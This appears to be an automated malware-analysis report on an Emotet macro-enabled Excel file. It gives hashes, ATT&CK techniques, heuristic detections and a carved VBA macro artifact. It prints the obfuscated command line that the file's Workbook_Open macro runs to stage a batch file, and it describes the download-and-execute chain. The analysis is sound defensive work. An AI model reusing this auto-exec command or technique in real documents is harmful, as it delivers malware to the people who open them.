Emotet Office (OLE) / .XLSX malware analysis — malicious · e4e53406a2b519b2

MALICIOUS

Office (OLE) / .XLSX

144.0 KB Created: 2006-09-28 05:33:49 Authoring application: Microsoft Excel

MD5: 9c27aa7e5601ddbf61a69942249b97eb SHA-1: 696b4abfe28596e8d8cf122263a31bf35173ed34 SHA-256: e4e53406a2b519b2d14d8a74669dd721caf9221ceccb3564df1d7a4d6eefce37

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate malicious intent. The Workbook_Open macro is configured to execute a command that utilizes Windows Script Host to download and run a batch file from a series of URLs. The reconstructed command line is: 'echo ghhIYYFTDRIIMBV44tFDGJFghgChjYCDyYcJvuyCyRRTYdyFJvvyCFyduYreRTRqwREaRzfggioO&start/B %fHsry5yuThsdrF%%GfYww443eYIUGjij%%JlHkugjVkjk%%KouUtdf6rDhGj%%OUBbkgjYFUg7%%MBHyyuG7J%%kh8UGFkkDFTF%&echo HijyFytFydt5665ETRDYfuYfUfUf9HBVcrewwyppohjbvCRseW2tgHGvJh64TFJyhTdryg c:\programdata\uylcsekn.bat'. This behavior is characteristic of the Emotet family, which often uses macro-enabled documents to download and execute further stages of malware.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `022b6ea87e671715cd07f596eceb5d45e85534a367868a0e820c8aa5cb013822`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6734 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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